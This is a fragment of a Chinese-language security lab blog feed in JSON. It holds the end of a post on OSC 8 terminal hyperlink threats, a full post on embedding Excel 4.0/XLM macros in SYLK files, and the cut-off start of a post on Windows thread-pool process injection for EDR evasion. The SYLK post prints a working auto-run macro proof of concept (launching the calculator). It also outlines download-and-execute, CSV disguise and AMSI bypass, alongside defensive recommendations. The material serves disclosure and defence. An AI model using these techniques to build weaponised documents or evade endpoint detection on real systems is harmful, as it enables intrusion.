anchorWithStickyNavbar_LWe7\" id=\"5-结论\">5. 结论<a class=\"hash-link\" aria-label=\"5. 结论的直接链接\" title=\"5. 结论的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#5-%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>OSC 8 超链接转义序列是终端现代化进程中的自然产物，其设计显著提升了终端输出的交互性与协作体验。然而，任何打破\"终端输出为纯文本\"这一基本假设的特性，都会引入新的攻击面。</p>\n<p>当前，主流操作系统的安全策略已将直接通过终端 <code>file://</code> 链接启动可执行文件的路径封堵大半。但攻击向量正在向组合攻击方向迁移——通过与 SMB 中继、信息窃取、社交工程等手法相结合，OSC 8 序列仍然具备作为攻击链条中初始跳板的实际威胁能力。</p>\n<p>对防御者而言，理解终端控制序列处理机制已不再是边缘化的技术知识，而是系统攻击面评估的基本组成部分。随着终端模拟器不断引入新的交互特性（如 OSC 52 剪贴板操作、Terminal shell integration 等），每一次特性扩展都可能产生新的安全边界，需要持续的威胁建模与防御策略更新。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<p>[1] The xterm Project. \"OSC 8 - Hyperlinks.\" <a href=\"https://gist.github.com/egmontkob/eb114294efbcd5adb1944c9f3cb5feda\" target=\"_blank\" rel=\"noopener noreferrer\">https://gist.github.com/egmontkob/eb114294efbcd5adb1944c9f3cb5feda</a></p>\n<p>[2] Microsoft Corporation. \"Windows Terminal Documentation.\" <a href=\"https://learn.microsoft.com/en-us/windows/terminal/\" target=\"_blank\" rel=\"noopener noreferrer\">https://learn.microsoft.com/en-us/windows/terminal/</a></p>\n<p>[3] GNOME Project. \"GNOME Terminal Security Updates.\" <a href=\"https://gitlab.gnome.org/GNOME/vte\" target=\"_blank\" rel=\"noopener noreferrer\">https://gitlab.gnome.org/GNOME/vte</a></p>\n<p>[4] iTerm2 Project. \"iTerm2 OSC 8 Configuration.\" <a href=\"https://iterm2.com/documentation-escape-codes.html\" target=\"_blank\" rel=\"noopener noreferrer\">https://iterm2.com/documentation-escape-codes.html</a></p>",
            "url": "https://www.ce.ac.cn/blog/osc8-terminal-hyperlink-security-analysis/",
            "title": "终端模拟器 OSC 8 超链接转义序列的安全威胁分析与攻击面建模",
            "summary": "针对 OSC 8 终端超链接协议的系统性安全分析，研究其在 Windows/Linux 终端中的注入向量、file:// URI 跨平台行为差异及纵深防御机制。",
            "date_modified": "2026-05-21T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Research",
                "Linux",
                "Kernel Security"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>SYLK（Symbolic Link）文件格式诞生于 1980 年代，设计目标为仅使用可显示 ANSI 字符实现跨应用程序的表格数据交换。该格式至今仍被 Microsoft Office 默认映射至 Excel 应用程序。本文揭示了一个被广泛忽视的攻击面：SYLK 文件可直接承载 Excel 4.0/XLM 宏指令，且在当前安全生态中几乎未被充分认知与检测。与受到层层监视的 VBA 宏不同，XLM 宏在 SYLK 容器中的复活为攻击者提供了一条低风险、高成功率的攻击通道。本文系统分析了 SYLK 格式在受保护视图豁免、邮件与浏览器网关绕过、AMSI 盲区等方面的安全缺陷，并提出了多层次防御建议。</p>\n<p><strong>关键词</strong>：SYLK；XLM 宏；Excel 安全；攻击面分析；AMSI 盲区</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-引言\">1. 引言<a class=\"hash-link\" aria-label=\"1. 引言的直接链接\" title=\"1. 引言的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#1-%E5%BC%95%E8%A8%80\">​</a></h2>\n<p>在攻击者与防御者的持续对抗中，一个反复出现的规律是：最新锐的攻击手法总是受到最严密的监控，而最古老的合法功能却常常成为完美的隐匿空间。SYLK 文件格式正是这一规律的最新注脚。</p>\n<p>此前，安全研究员 Matt Nelson 已演示过将 DDE（动态数据交换）攻击与 SYLK 格式相结合的方法，且该技术已被多起真实恶意软件样本所采用。本文在此基础上进一步揭示一个更为严重的滥用维度：SYLK 可以直接承载 Excel 4.0/XLM 宏，且这一能力在当前安全检测体系中几乎未被充分覆盖。在 VBA 宏已受到 AMSI 扫描、受保护视图沙箱等多重监视的今天，XLM 宏在 SYLK 容器中的复活，为攻击者提供了一条完整的、从文件传输到代码执行的隐蔽攻击链。</p>\n<p>本文的主要贡献包括：（1）梳理了 SYLK 格式在纵深防御体系中的特殊豁免地位；（2）分析了 XLM 宏在 SYLK 容器中的嵌入机制与执行约束；（3）研究了扩展名为 CSV 时的格式伪装攻击面；（4）评估了现有安全检测工具的有效性并分析了 AMSI 盲区产生的原因。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-sylk-文件格式概述\">2. SYLK 文件格式概述<a class=\"hash-link\" aria-label=\"2. SYLK 文件格式概述的直接链接\" title=\"2. SYLK 文件格式概述的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#2-sylk-%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E6%A6%82%E8%BF%B0\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-格式定义\">2.1 格式定义<a class=\"hash-link\" aria-label=\"2.1 格式定义的直接链接\" title=\"2.1 格式定义的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#21-%E6%A0%BC%E5%BC%8F%E5%AE%9A%E4%B9%89\">​</a></h3>\n<p>SYLK 是一种基于 ANSI 文本的表格数据交换格式，设计于 1980 年代。其核心设计原则为仅使用可显示字符，确保在不同系统间的可靠传输。SYLK 文件以 <code>.slk</code> 为扩展名，至今仍被 Microsoft Office 默认映射至 Excel，覆盖版本包括 2010、2013、2016 及更新版本。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-安全防御体系中的特权地位\">2.2 安全防御体系中的特权地位<a class=\"hash-link\" aria-label=\"2.2 安全防御体系中的特权地位的直接链接\" title=\"2.2 安全防御体系中的特权地位的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#22-%E5%AE%89%E5%85%A8%E9%98%B2%E5%BE%A1%E4%BD%93%E7%B3%BB%E4%B8%AD%E7%9A%84%E7%89%B9%E6%9D%83%E5%9C%B0%E4%BD%8D\">​</a></h3>\n<p>SYLK 在网络防御体系中的特殊地位并非源自技术漏洞，而是源于\"默认信任\"的历史遗留问题。</p>\n<p><strong>受保护视图沙箱的豁免</strong>：当文件从互联网下载时，Windows 会为其附加\"网络标记\"（Mark of the Web, MotW）。对于常规 Office 文件，MotW 会触发受保护视图沙箱，阻止宏执行并显示安全警告。然而，SYLK 文件格式不适用此沙箱机制。用户双击打开恶意 <code>.slk</code> 文件时，不会经历受保护视图的安全屏障。</p>\n<p><strong>邮件与浏览器网关的通行证</strong>：SYLK 文件在传输阶段几乎不受拦截：</p>\n<ul>\n<li>MS Outlook 阻止附件列表—不包含 <code>.slk</code></li>\n<li>OWA（Outlook Web Access）默认阻止扩展名列表—不包含 <code>.slk</code></li>\n<li>Chrome 安全浏览的文件类型黑名单—未将 <code>.slk</code> 标记为危险文件类型</li>\n</ul>\n<p>这意味着经过武器化的 <code>.slk</code> 文件可以通过电子邮件附件或云存储链接，以极高的送达率出现在目标用户的收件箱中。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-xlm-宏嵌入机制分析\">3. XLM 宏嵌入机制分析<a class=\"hash-link\" aria-label=\"3. XLM 宏嵌入机制分析的直接链接\" title=\"3. XLM 宏嵌入机制分析的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#3-xlm-%E5%AE%8F%E5%B5%8C%E5%85%A5%E6%9C%BA%E5%88%B6%E5%88%86%E6%9E%90\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-嵌入原理\">3.1 嵌入原理<a class=\"hash-link\" aria-label=\"3.1 嵌入原理的直接链接\" title=\"3.1 嵌入原理的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#31-%E5%B5%8C%E5%85%A5%E5%8E%9F%E7%90%86\">​</a></h3>\n<p>VBA 宏无法嵌入 SYLK 格式，但 Excel 4.0/XLM 宏可以通过手工构造记录行的方式原生嵌入。Excel 的\"另存为\"功能会主动剥离宏代码，但手工编写的 <code>.slk</code> 文件绕过了这一剥离过程——Excel 在解析时直接执行嵌入的宏指令。</p>\n<p>以下为实验验证的基本构造示例：</p>\n<div class=\"language-text codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-text codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">ID;P</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">O;E</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">NN;NAuto_open;ER101C1</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">C;X1;Y101;EEXEC(\"CALC.EXE\")</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">C;X1;Y102;EHALT()</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">E</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>逐行解析：</p>\n<table><thead><tr><th>行号</th><th>记录</th><th>含义</th></tr></thead><tbody><tr><td>1</td><td><code>ID;P</code></td><td>声明文件类型为 SYLK，<code>P</code> 表示生产型文件</td></tr><tr><td>2</td><td><code>O;E</code></td><td>全局选项记录，<code>E</code> 子记录指明\"此文档包含宏\"</td></tr><tr><td>3</td><td><code>NN;NAuto_open;ER101C1</code></td><td>定义命名区域，将 R101C1 命名为 <code>Auto_open</code>（XLM 宏的自动执行事件触发器，等同于 VBA 的 <code>Auto_Open</code>）</td></tr><tr><td>4</td><td><code>C;X1;Y101;EEXEC(\"CALC.EXE\")</code></td><td>定义第 1 列第 101 行单元格，表达式值为 XLM 宏函数 <code>EXEC(\"CALC.EXE\")</code></td></tr><tr><td>5</td><td><code>C;X1;Y102;EHALT()</code></td><td>第 1 列第 102 行单元格执行 <code>HALT()</code>，终止宏执行</td></tr><tr><td>6</td><td><code>E</code></td><td>文件结束符</td></tr></tbody></table>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-关键约束\">3.2 关键约束<a class=\"hash-link\" aria-label=\"3.2 关键约束的直接链接\" title=\"3.2 关键约束的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#32-%E5%85%B3%E9%94%AE%E7%BA%A6%E6%9D%9F\">​</a></h3>\n<p><strong>行长度限制</strong>：SYLK 文件每行不得超过 260 字符，超过该限制时 Excel 将拒绝解析该行。这一约束对长 payload 的构造构成限制。</p>\n<p><strong>本地化适配</strong>：<code>Auto_open</code> 是语言相关的触发器名称。在荷兰语版本中须写为 <code>Auto_openen</code>，德语中为 <code>Auto_öffnen</code>。跨语言攻击场景需适配对应的本地化名称。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"33-xlm-宏的攻击能力\">3.3 XLM 宏的攻击能力<a class=\"hash-link\" aria-label=\"3.3 XLM 宏的攻击能力的直接链接\" title=\"3.3 XLM 宏的攻击能力的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#33-xlm-%E5%AE%8F%E7%9A%84%E6%94%BB%E5%87%BB%E8%83%BD%E5%8A%9B\">​</a></h3>\n<p><code>EXEC()</code> 与 <code>HALT()</code> 仅为 XLM 宏能力的极小一部分。完整的 XLM 宏指令集支持以下攻击原语：</p>\n<ul>\n<li><strong>远程载荷加载</strong>：通过 <code>URLDownloadToFile</code> 结合 <code>EXEC</code> 实现动态下载与执行</li>\n<li><strong>进程注入</strong>：调用 Windows API 向其他进程注入 Shellcode</li>\n<li><strong>文件系统操作</strong>：包括文件写入、删除、编码与解码</li>\n<li><strong>反分析检测</strong>：通过 <code>GET.WORKSPACE</code> 检测鼠标移动、最近文件列表等沙箱特征</li>\n</ul>\n<p>SYLK 作为 XLM 宏的传输容器，直接继承了上述全部攻击能力。武器化的 <code>.slk</code> 文件等价于一个携带完整后门逻辑的轻量级恶意文档，且其攻击链中几乎每一步都享有防御豁免。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-攻击面扩展\">4. 攻击面扩展<a class=\"hash-link\" aria-label=\"4. 攻击面扩展的直接链接\" title=\"4. 攻击面扩展的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#4-%E6%94%BB%E5%87%BB%E9%9D%A2%E6%89%A9%E5%B1%95\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"41-csv-格式伪装\">4.1 CSV 格式伪装<a class=\"hash-link\" aria-label=\"4.1 CSV 格式伪装的直接链接\" title=\"4.1 CSV 格式伪装的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#41-csv-%E6%A0%BC%E5%BC%8F%E4%BC%AA%E8%A3%85\">​</a></h3>\n<p>SYLK 文件的一个特性是：Excel 会依据文件<strong>内容</strong>而非扩展名来识别格式。具体而言，若一个文件以 <code>ID;P</code> 开头，即使扩展名为 <code>.csv</code>，Excel 也会识别其为 SYLK 格式，并向用户弹出确认对话框。</p>\n<p>攻击者可利用此特性：</p>\n<ol>\n<li>制作以 <code>ID;P</code> 开头的恶意文件</li>\n<li>将扩展名设为 <code>.csv</code>，伪装为\"客户名单\"、\"交易记录\"等看似无害的表格</li>\n<li>利用用户对 CSV 文件的低警惕性（一般认为 CSV 是纯文本，不可能携带宏），配合 Excel 对话框的误导性提示，达成宏执行</li>\n</ol>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"42-跨平台覆盖\">4.2 跨平台覆盖<a class=\"hash-link\" aria-label=\"4.2 跨平台覆盖的直接链接\" title=\"4.2 跨平台覆盖的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#42-%E8%B7%A8%E5%B9%B3%E5%8F%B0%E8%A6%86%E7%9B%96\">​</a></h3>\n<p>Microsoft Office for Mac 同样原生支持 SYLK 格式与 XLM 宏。<code>.slk</code> 扩展名默认映射至 Mac 版 Excel，且 <code>Auto_open</code> 触发器在 Mac 环境下完全有效。</p>\n<p>值得注意的是，Microsoft Office for Mac 2011 存在一个已公开但不再修复的漏洞：打开包含宏的 SYLK 文件时不显示任何安全警告，宏直接静默执行。由于该版本已终止生命周期支持，此漏洞成为永久性零日。尽管 Office 2011 的用户量逐年下降，但仍构成一条持续开放的未修复攻击路径。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"5-检测规避与-amsi-盲区\">5. 检测规避与 AMSI 盲区<a class=\"hash-link\" aria-label=\"5. 检测规避与 AMSI 盲区的直接链接\" title=\"5. 检测规避与 AMSI 盲区的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#5-%E6%A3%80%E6%B5%8B%E8%A7%84%E9%81%BF%E4%B8%8E-amsi-%E7%9B%B2%E5%8C%BA\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"51-检测现状\">5.1 检测现状<a class=\"hash-link\" aria-label=\"5.1 检测现状的直接链接\" title=\"5.1 检测现状的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#51-%E6%A3%80%E6%B5%8B%E7%8E%B0%E7%8A%B6\">​</a></h3>\n<p>SYLK 文件基于 ANSI 文本，结构简单，理论上应易于检测。然而实际测试表明，大多数主流安全产品对恶意 <code>.slk</code> 文件的检测签名和启发式规则均严重滞后。原因可归因于以下三点：</p>\n<ul>\n<li><strong>样本稀缺</strong>：<code>.slk</code> 在野样本量相对较小，未引起安全厂商充分关注</li>\n<li><strong>语法异构</strong>：XLM 宏语法与 VBA 完全不同，基于 VBA 特征的检测引擎无法有效识别</li>\n<li><strong>混淆空间</strong>：SYLK 文件可通过冗余记录、注释、空白填充等手段进行高度混淆，降低了启发式引擎的有效性</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"52-amsi-盲区成因分析\">5.2 AMSI 盲区成因分析<a class=\"hash-link\" aria-label=\"5.2 AMSI 盲区成因分析的直接链接\" title=\"5.2 AMSI 盲区成因分析的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#52-amsi-%E7%9B%B2%E5%8C%BA%E6%88%90%E5%9B%A0%E5%88%86%E6%9E%90\">​</a></h3>\n<p>反恶意软件扫描接口（AMSI）是 Windows 针对动态内容的关键防御层，为安全产品提供对脚本、宏、PowerShell 等执行上下文的可见性。然而在 SYLK 攻击场景中，AMSI 完全不起作用。</p>\n<p>根本原因在于：AMSI 的宏扫描引擎仅与 VBA 运行时交互，无法理解 Excel 4.0/XLM 宏的语法与执行上下文。当恶意宏通过 SYLK 文件的 XLM 指令执行时，AMSI 无法感知任何可疑活动。这构成了一个完整的、从文件传输到代码执行的 AMSI 盲区攻击链。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"6-防御建议\">6. 防御建议<a class=\"hash-link\" aria-label=\"6. 防御建议的直接链接\" title=\"6. 防御建议的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#6-%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"61-组织层面\">6.1 组织层面<a class=\"hash-link\" aria-label=\"6.1 组织层面的直接链接\" title=\"6.1 组织层面的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#61-%E7%BB%84%E7%BB%87%E5%B1%82%E9%9D%A2\">​</a></h3>\n<ul>\n<li>通过组策略限制 Excel 对 SYLK 文件格式的处理，或配置信任中心禁止 XLM 宏的执行</li>\n<li>在邮件网关层将 <code>.slk</code> 加入阻止扩展名列表</li>\n<li>定期审计 Office for Mac 客户端版本，淘汰已终止支持的版本</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"62-检测层面\">6.2 检测层面<a class=\"hash-link\" aria-label=\"6.2 检测层面的直接链接\" title=\"6.2 检测层面的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#62-%E6%A3%80%E6%B5%8B%E5%B1%82%E9%9D%A2\">​</a></h3>\n<ul>\n<li>安全产品应建立针对 XLM 宏语法的独立检测引擎，而非依赖 VBA 特征库</li>\n<li>对以 <code>ID;P</code> 开头的 <code>.csv</code> 文件进行内容类型检查与告警</li>\n<li>监控 Excel 进程对 <code>EXEC</code>、<code>URLDownloadToFile</code> 等敏感 API 的调用</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"63-用户行为层面\">6.3 用户行为层面<a class=\"hash-link\" aria-label=\"6.3 用户行为层面的直接链接\" title=\"6.3 用户行为层面的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#63-%E7%94%A8%E6%88%B7%E8%A1%8C%E4%B8%BA%E5%B1%82%E9%9D%A2\">​</a></h3>\n<ul>\n<li>对来源不明的 <code>.slk</code> 及 <code>.csv</code> 文件保持警惕</li>\n<li>在 Excel 中检查文件的实际格式类型，而非仅依赖扩展名</li>\n<li>保持 Office 应用程序及操作系统的安全更新</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"7-结论\">7. 结论<a class=\"hash-link\" aria-label=\"7. 结论的直接链接\" title=\"7. 结论的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#7-%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>SYLK 文件格式的滥用并非零日漏洞，而是一种对\"历史信任\"的利用。它仅需要一个被安全生态系统性忽视的古老文件格式，加上一层被现有检测工具忽略的宏执行引擎，即可构成完整的攻击链。</p>\n<p>这一案例揭示了一个更深层的安全启示：在纵深防御体系的构建中，兼容性设计往往与安全设计存在根本性矛盾。每一层为维持向后兼容而保留的\"历史豁免\"，都可能成为攻击者绕过多层防御的捷径。对安全研究者而言，系统性地审视那些因\"过于老旧\"而未被纳入威胁模型的协议与格式，可能是发现下一代攻击面的关键路径。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<p>[1] Microsoft Corporation. \"SYLK File Format Reference.\" <a href=\"https://learn.microsoft.com/en-us/office/\" target=\"_blank\" rel=\"noopener noreferrer\">https://learn.microsoft.com/en-us/office/</a></p>\n<p>[2] Nelson, M. \"DDE Attacks in SYLK Files.\" <a href=\"https://posts.specterops.io/\" target=\"_blank\" rel=\"noopener noreferrer\">https://posts.specterops.io/</a></p>\n<p>[3] Microsoft Corporation. \"Anti-Malware Scan Interface (AMSI).\" <a href=\"https://learn.microsoft.com/en-us/windows/win32/amsi/\" target=\"_blank\" rel=\"noopener noreferrer\">https://learn.microsoft.com/en-us/windows/win32/amsi/</a></p>\n<p>[4] Microsoft Corporation. \"Excel 4.0 Macro Functions Reference.\" <a href=\"https://learn.microsoft.com/en-us/office/client-developer/excel/\" target=\"_blank\" rel=\"noopener noreferrer\">https://learn.microsoft.com/en-us/office/client-developer/excel/</a></p>",
            "url": "https://www.ce.ac.cn/blog/sylk-xlm-macro-security-analysis/",
            "title": "SYLK 文件格式的武器化滥用：基于 Excel 4.0/XLM 宏的隐蔽攻击链分析",
            "summary": "针对 SYLK 文件格式承载 Excel 4.0/XLM 宏的攻击面分析，研究其在受保护视图豁免、AMSI 盲区及邮件网关绕过等方面的安全缺陷。",
            "date_modified": "2026-05-21T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Research",
                "Disclosure"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>传统的进程注入技术——包括 <code>CreateRemoteThread</code>、<code>NtCreateThreadEx</code> 及 <code>QueueUserAPC</code>——均依赖于在目标进程中创建新线程或在现有线程中插入 APC 对象，这些操作均会被端点检测与响应（EDR）系统的用户态钩子所监控。本文分析一种利用 Windows 原生线程池机制实现进程注入的替代方法。该技术通过将 Shellcode 封装为线程池工作项，提交至目标进程的线程池队列中，由线程池的现有空闲线程自动执行，全程无需调用线程创建相关 API，从而规避基于线程创建监控的检测规则。本文对该技术的原理、实现约束及适用范围进行了系统分析，并从监控策略与内核级检测两个维度提出了相应的防御建议。</p>\n<p><strong>关键词</strong>：进程注入；线程池；EDR 绕过；Windows 安全；攻击面分析</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-引言\">1. 引言<a class=\"hash-link\" aria-label=\"1. 引言的直接链接\" title=\"1. 引言的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#1-%E5%BC%95%E8%A8%80\">​</a></h2>\n<p>进程注入是红蓝对抗中最基础也最常被使用的技术之一。从最初的 <code>CreateRemoteThread</code>，到 <code>NtCreateThreadEx</code>、<code>SetThreadContext</code> 结合 <code>ResumeThread</code>，再到基于异步过程调用（APC）的注入技术，攻击者与防御者围绕\"如何在目标进程中执行任意代码\"这一命题展开了长期的攻防博弈。</p>\n<p>每一次注入技术的演进，本质上都是攻击者对防御检测维度的重新选择。传统注入技术之所以被 EDR 有效检测，根本原因在于它们都需要调用特定的 Windows API 来创建或操纵线程执行流，而这些 API 恰恰是 EDR 用户态钩子的核心监控对象。</p>\n<p>2023 年，SafeBreach 实验室披露了一种利用 Windows 线程池机制实现进程注入的新型技术。该技术的核心思想是：不创建新线程，而是将恶意代码封装为线程池工作项（Work Item），提交到目标进程的现有线程池中，由系统线程池的已有空闲线程执行。由于整个过程完全绕过了线程创建 API，EDR 基于内核回调或用户态钩子的线程监控机制将完全失效。</p>\n<p>本文对该技术的原理、实现与检测进行了系统性分析。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-windows-线程池机制概述\">2. Windows 线程池机制概述<a class=\"hash-link\" aria-label=\"2. Windows 线程池机制概述的直接链接\" title=\"2. Windows 线程池机制概述的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#2-windows-%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%9C%BA%E5%88%B6%E6%A6%82%E8%BF%B0\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-线程池架构\">2.1 线程池架构<a class=\"hash-link\" aria-label=\"2.1 线程池架构的直接链接\" title=\"2.1 线程池架构的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#21-%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%9E%B6%E6%9E%84\">​</a></h3>\n<p>Windows 线程池是一组由系统预先创建的线程，用于高效处理异步任务、定时器回调及等待对象。在 Windows Vista 及之后的版本中，每个进程默认包含一个由系统管理的线程池。线程池的核心组件包括：</p>\n<ul>\n<li><strong>工作队列（Work Queue）</strong>：存储待执行的工作项</li>\n<li><strong>等待队列（Wait Queue）</strong>：存储等待内核对象信号的工作项</li>\n<li><strong>定时器队列（Timer Queue）</strong>：存储定时执行的工作项</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-核心-api\">2.2 核心 API<a class=\"hash-link\" aria-label=\"2.2 核心 API的直接链接\" title=\"2.2 核心 API的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#22-%E6%A0%B8%E5%BF%83-api\">​</a></h3>\n<p>线程池相关 API 是 Windows 原生提供的线程池编程接口，主要包括：</p>\n<table><thead><tr><th>API</th><th>功能</th></tr></thead><tbody><tr><td><code>CreateThreadpool</code></td><td>创建自定义线程池实例</td></tr><tr><td><code>CreateThreadpoolWork</code></td><td>创建工作项，指定回调函数与参数</td></tr><tr><td><code>SubmitThreadpoolWork</code></td><td>将工作项提交至线程池执行队列</td></tr><tr><td><code>WaitForThreadpoolWorkCallbacks</code></td><td>等待工作项执行完成</td></tr><tr><td><code>CloseThreadpoolWork</code></td><td>关闭并释放工作项</td></tr></tbody></table>\n<p>这些 API 的设计初衷是简化异步编程模型，其回调函数在提交后由线程池中的空闲线程调用执行。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-注入技术原理\">3. 注入技术原理<a class=\"hash-link\" aria-label=\"3. 注入技术原理的直接链接\" title=\"3. 注入技术原理的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#3-%E6%B3%A8%E5%85%A5%E6%8A%80%E6%9C%AF%E5%8E%9F%E7%90%86\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-核心思路\">3.1 核心思路<a class=\"hash-link\" aria-label=\"3.1 核心思路的直接链接\" title=\"3.1 核心思路的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-thread-pool-injection-analysis/#31-%E6%A0%B8%E5%BF%83%E6%80%9D%E8%B7%AF\">​</a></h3>\n<p>线程池注入的核心思路可概括为：在目标进程的内存空间中写入 Shellcode，然后构造一个线程池工作项，将其回调函数指针指向 Shellcode 的入口地址，最后将该工作项提交至目标进程的线程池。</p>\n<p>由于线程池工作项的执行由系统线程池调度器管理，不需要调用 <code>CreateRemoteThread</code> 或 <code>NtCreateThreadEx</code>，因此 EDR 安装在上述 